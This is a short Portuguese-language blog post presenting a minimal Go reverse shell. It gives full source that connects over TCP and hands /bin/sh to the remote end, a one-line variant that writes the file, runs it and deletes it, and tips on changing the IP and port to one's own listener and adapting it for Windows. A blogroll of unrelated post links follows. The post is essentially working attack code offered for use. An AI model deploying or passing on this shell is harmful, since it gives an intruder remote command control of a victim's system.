golang: reverse shell
Um reverse shell em Golang super simples:
package main
import (
"net"
"os/exec"
}
func main() {
c, _ := net.Dial("tcp","127.0.0.1:8222")
cmd := exec.Command("/bin/sh")
cmd.Stdin = c
cmd.Stdout = c
cmd.Stderr = c
cmd.Run()
}
Claro, troque o IP e a porta para seu dispatcher.
Voce ainda pode minimizar e ter o reverse shell em “uma linha”.
echo 'package main;import"net";import"os/exec";func main(){c,_:=net.Dial("tcp","127.0.0.1:8222");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > rs.go && go run rs.go && rm rs.go
Eu nao testei, mas acredito que funcione no windows, troque o /bin/sh para cmd.exe e teste.
Articles from blogs I follow around the net
OpenBSD 7.7 Released
The OpenBSD project has announced OpenBSD 7.7, its 58th release. The new release contains a number of significant improvements, including but certainly not limited to: Multiple SMP improvements have been made. TCP output and TCP timers now run in parallel. Only TC…
via OpenBSD Journal 2025-04-27 18:30Running repl commands in cider (emacs)
Ok, I will admit.. this took a while. But I have found a nice way of doing this. What is this? Well, let’s say let’s say that you have a command to start your server in user namespace. With this cool feature, now you can run this with a emacs command (or s…
via Lucas E M M. opinions 2025-04-23 19:46Resistance from the tech sector
As of late, most of us have been reading the news with a sense of anxious trepidation. At least, those of us who read from a position of relative comfort and privilege. Many more read the news with fear. Some of us are already no longer in a position to read…
via Drew DeVault's blog 2025-04-20 00:00Generated by openring
/comments ~umgeher/changelog@lists.sr.ht?Subject=Re: golang: reverse shell
/permalink https://umgeher.org/posts/2022/03/golang-reverse-shell.html